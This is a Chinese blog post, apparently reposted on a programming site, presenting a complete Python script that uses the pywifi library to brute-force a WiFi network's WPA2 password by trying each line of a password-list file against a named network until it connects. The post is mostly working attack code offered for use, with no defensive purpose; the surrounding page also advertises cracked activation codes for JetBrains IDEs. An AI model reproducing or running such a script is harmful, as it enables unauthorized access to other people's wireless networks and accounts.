Python暴力激活成功教程wifi密码

Python暴力激活成功教程wifi密码今天给大家分享一个使用Python激活成功教程WiFi密码的代码,这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pipinstallpywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。首先我们…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

今天给大家分享一个使用Python激活成功教程WiFi密码的代码,这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

    wifi=pywifi.PyWiFi()
    #获取无线网卡
    ifaces=wifi.interfaces()[0]
    print(ifaces)

下面就是效果,但是它返回的是一个对象

Python暴力激活成功教程wifi密码

使用这行代码就可以获取电脑无线网卡的名称:

 print(ifaces.name())

这个就是我的无线网卡

Python暴力激活成功教程wifi密码

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const

看,这个库里面就显示了接口是否连接对于的常量

Python暴力激活成功教程wifi密码

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="jiayi"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为was
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我上次分享的那个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。

    #密码本路径
    path="C:/Users/ASUS/Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()

好了,接下来就是完整的代码和效果图。

# coding:utf-8
import pywifi
from pywifi import const
import time

#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="jiayi"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 

#读取密码本
def readPassword():
    print("开始激活成功教程:")
    #密码本路径
    path="C:/Users/ASUS/Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密码已激活成功教程: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码激活成功教程中....密码校对: ",pad)
        except:
            continue
readPassword()

运行结果如下:

Python暴力激活成功教程wifi密码

看,这个就成功了,这里的话还是不能用可视化界面,等以后有时间我尝试写一个可视化界面那种,然后就类似于手机上的wifi万能钥匙了。今天就分享到这里了,有什么不好的地方望各位大佬指正一下。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/172184.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • python中if __name__ == ‘__main__’是什么意思

    python中if __name__ == ‘__main__’是什么意思执行当前文件中: __name__=='__main__'是返回true,引用模块中的则返回false如:现在有两python文件,one.py和two.py

    2022年7月5日
    17
  • 下载及安装Python详细步骤

    下载及安装Python详细步骤安装python分三个步骤:*下载python*安装python*检查是否安装成功1、下载Python(1)python下载地址https://www.python.org/download

    2022年7月3日
    29
  • 并查集

    并查集

    2021年9月13日
    48
  • pdf转word思路和方法

    pdf转word思路和方法本篇只涉及pdf转word,整理的一些方法,当前有效,个人观点。一、右键直接用word打开适合小文件转换。二、转换软件很多可以将pdf转word的软件,比如AdobeAcrobat,ABBYYFineReader等等,还有一些国产转换软件,百度网盘好像也可以,大部分转换也有限制,需要money,想支持也行,当然也可以去一些论坛,网站或者博客找一些大神免费版的,可以去杂货间http://jsywmy.ys168.com/看看,里面有一些网站论坛博客有。三、转换网站1、alltoall2.

    2022年5月29日
    44
  • 2021年美赛A题思路详解

    2021年美赛A题思路详解2021年数模美赛A题思路详解题目分析思路详解由于和队友思路不一致,导致最后我的思路只算了前两问,而后几问用了我认为离题的PCA(主成分分析)的方法,我的建模思路没有得到完全实现,总体情况很不满意,特此写下这篇文章。题目分析从题目前面所提供的背景知识可以看出,C指出分解速率与菌丝伸长速率成正相关关系,我队友认为是线性关系而我认为是对数近似的关系。第二长图给了一个正比的关系,但是坐标却很容易理解错。这个moisturetrde-off不是湿度耐受性(moisturenichewidth),更

    2022年6月9日
    89
  • 8款最好用的Java集成开发工具(IDE)

    8款最好用的Java集成开发工具(IDE)8款最好用的Java集成开发工具(IDE)IDE的选择涉及到很多方面,例如项目性质、团队和企业的偏好等等,但是对于一些基本的需求,每一个好的IDE都是必须满足的,例如它要支持你使用的语言,无论是是Scala、还是Groovy或者是Java8,IDE都应该能完美支持。其次,它还要与控制系统兼容;然后,它还要帮助程序员轻松处理文本;最后,它还要支持可靠快速的调试和测试。Thi

    2022年7月8日
    21

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号